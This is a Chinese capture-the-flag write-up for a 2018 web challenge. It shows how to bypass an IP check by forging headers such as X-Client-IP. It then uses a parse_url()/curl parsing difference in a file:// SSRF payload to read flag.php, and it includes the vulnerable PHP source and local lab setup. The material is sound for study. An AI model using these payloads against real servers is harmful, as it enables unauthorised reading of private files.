骇极杯 2018 web1
典型的划水比赛,尝试不到20分钟就放弃了,赛后看了wp,感觉至少可以过web2,可惜可惜。
环境关了,没有链接。
赛后看了wp,大佬们都把源码给扒了下来,然后我在本地还原了这道题。
解题过程
首页发现提示:
<!-- you need to visit to robots.txt -->
访问robots.txt
,发现有flag.php
和source.php
。
根据尿性,访问flag.php
肯定是不行的(事实也是如此),故访问source.php
:
根据提示 POST 参数admin
,这里看了源码,当admin=1
时才可以,当时比赛的时候尝试了好几个不是1的值然后放弃了,无语。
然后让我们伪造IP,方法很多:
Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
然后发现伪造X-Client-IP
可以成功。
根据提示 POST 参数url
:
发现一个图片文件被保存了下来,用文本编辑器打开:
<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.10.2</center>
</body>
</html>
猜测后台 PHP 用 curl 访问了之前 POST 上去的地址,只不过这里被重定向了。
不难猜测,这题的做法就是用 SSRF 让flag.php
给泄露出来。
直接访问flag.php
没有响应,有可能 flag 在文件的注释里面,或者只是一个简单的赋值。
这时候就要使用 PHP 伪协议中的 file 协议获得flag.php
的代码。
但是有一个难点,题目已经规定了 POST 上去的url
,但是这个url
并不是题目环境的链接。
这就要用到一个解析的差异,参考了一叶飘零的博客。
一般 PHP 对一个字符串做 URL 解析时,会用到函数parse_url()
,而在后台发起请求时用到curl
,这两个函数的解析方式不太一样。
比如如下 URL:
http://u:p@a.com:80@b.com/
函数parse_url()
的解析结果如下:
schema: http
host: b.com
user: u
pass: p@a.com:80
而curl
的解析结果如下:
schema: http
host: a.com
user: u
pass: p
port: 80
可看到,curl
解析上述 URL 会把后面的b.com
忽略掉,但是parse_url()
的解析结果中host
的值为b.com
。
对于这题,直接 POST:
url=file://@127.0.0.1:80@www.ichunqiu.com/../../../var/www/html/flag.php
即可获得 flag。
同样的方式可以得到源码:
<?php
error_reporting(0);
include "flag.php";
echo "you need to login as admin!";
echo "<!-- post param 'admin' -->";
if(isset($_POST['admin']))
{
if($_POST['admin']==1)
{
if($_SERVER['HTTP_X_CLIENT_IP'])
{
if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.ichunqiu.com')
{
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $_POST['url']);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec($curl);
curl_close($curl);
$filename='download/'.rand().';img1.jpg';
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
echo $img;
}
else
{
echo "you need post url: http://www.ichunqiu.com";
}
}
else
{
echo "only 127.0.0.1 can get the flag!!";
}
}
}
else
{
$_POST['admin']=0;
}
?>
PHP curl 访问本地文件卡死的解决方案
在还原题目环境时,PHP curl 对本地的文件进行访问,会造成端口阻塞。
需要在 nginx 的配置文件中再创建一个 server,设置成不同的端口,比如原本的默认端口是80,新的 server 要使用异于80的端口。
由于启动 cgi 时,会占用9000端口,新的 server 使用的 cgi 的端口要异于9000:
location ~ \.php$ {
root G:/nginx/hacker;
fastcgi_pass 127.0.0.1:9001;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
启动两个cgi,设置成不同的端口即可。
G:\php7\php-cgi.exe -b 127.0.0.1:9000 -c G:\php7\php.ini
G:\php7\php-cgi.exe -b 127.0.0.1:9001 -c G:\php7\php.ini